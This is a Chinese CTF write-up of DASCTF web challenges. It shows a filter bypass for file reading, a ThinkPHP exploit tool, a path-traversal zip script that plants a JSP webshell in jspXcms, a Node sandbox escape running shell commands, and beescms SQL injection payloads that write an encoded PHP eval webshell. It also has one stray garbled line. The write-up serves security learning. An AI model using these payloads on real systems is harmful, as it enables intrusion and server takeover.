爱意东升西落,浪漫至死不渝

0x00引言

DASCTF的赛题复现

0x01 Web

cat flag

<?php

if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if (!preg_match('/flag/i',$cmd))
    {
        $cmd = escapeshellarg($cmd);
        system('cat ' . $cmd);
    }
} else {
    highlight_file(__FILE__);
}
?>

此处存在任意文件读取漏洞,但是过滤了flag关键字,且存在escapeshellarg
一般读取文件,思路可以是读取那些固定路径的文件,比如apache的配置文件,nginx的配置文件等,或者是web日志、错误日志等。而恰好这里提示admin曾访问过flag,这里提示是说,有人访问过flag,即日志文件中必定有这个记录,所以直接读取日志文件即可。先读取配置文件,看看日志在哪个目录下
?cmd=/etc/nginx/nginx.conf
然后发现了目录

读取日志文件发现了flag的文件名

this_is_final_flag_e2a457126032b42d.php绕过flag进行读取
Unicode字符绕过请问辅导班v从

?cmd=this_is_final_fl%f1ag_e2a457126032b42d.php

easythinkphp

之前在群里看到一个师傅分享过一个tp的一个GUI,于是拿出来用了一下。因为好久没关注了,竟没发现两周前更新了3.x的rce,所以当时只找到了日志泄露,没下一步了。
项目地址:https://github.com/Lotus6/ThinkphpGUI
getshell操作,密码为peiqi即可蚁剑连接。

jspXcms

搜索jspXcms即可发现很多历史漏洞,而且发现管理后台地址为:http://ip/cmscp/index.do
弱口令:用户admin,空密码
进入后台,在文件管理处有个上传文件的功能,然后发现可以上传zip,其他文件也可以只不过是无法直接连接上传的木马的。
然后发现这篇文章:spxcms解压getshell漏洞
跟着复现一遍即可。
使用冰蝎自带的jsp马,生成一个war文件

jar.exe cf shell.war shell.jsp

使用脚本进行压缩,压缩一个危险压缩包。

import zipfile

if __name__ == "__main__":
    try:
        binary = open('shell.war','rb').read()
        zipFile = zipfile.ZipFile("m0re.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("m0re.zip")
        zipFile.writestr("../../../test.war", binary)
        zipFile.close()
    except IOError as e:
        raise e

生成的m0re.zip进行上传,并在后台进行解压

随后即可连接木马

注意路径。与目录穿越有关。../../../test.war这里进行目录穿越。
漏洞成因:
在该系统中,上传任意文件,但是一个问题限制了对jsp文件的访问,所以直接上传jsp木马是行不通的。在JspDispatcherFilter.java限制了对jsp文件的访问
后台还可以上传zip文件,上传后会自动解压,问题出现在WebFileUploadsController.java里的unzip方法,调用了下层方法却没有进行文件名检查,导致目录穿透。
随便上传一个文件,即可了解上传路径为/uploads/1/xxx.zip而次web项目是在tomcat目录\webapps\ROOT\下,所以目录为:/webapps/ROOT/uploads/1/这里穿越到webapps目录下即可,所以向上穿三层。

ezrce

参考https://blog.csdn.net/XavierDarkness/article/details/118662886
按照步骤来进行

记得开启脚本,然后保存。

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("cat /ffffffflllllaggggg").toString()

访问预览里的地址即可看到flag

cybercms

https://www.cnblogs.com/yuzly/p/11423384.html
提示信息收集,发现源码泄露/www.zip
然后看到sql文件,是数据库里的数据,看一下发现有一个数据库名是bees_admin所以猜测该cms的名字是不是赛博cms,搜索不到,故搜索bees_admin发现了beescms,跟题目是一样的。出题人只是改了名字而已。所以这里找到了beescms的后台SQL注入漏洞,链接在上面,进行复现。
后台登录处SQL注入,bypass

union => uni union on

select => selselectect

outfile => outoutfilefile

into => in into

可以通过利用mysql注入的一个特性就可以达到注入效果(即对shell部分进行Hex编码),或者用mysql函数char()就可以绕过这里的限制。

payload

#first
admi%27union/**/selselectect/**/null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e/**/into/**/outoutfilefile%27/var/www/html/shell.php%27%23
#second
admi%27union/**/selselectect/**/null,null,null,null,char(60,63,112,104,112,32,64,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,59,63,62)/**/into/**/outoutfilefile%27/var/www/html/shel.php%27%23

蚁剑连接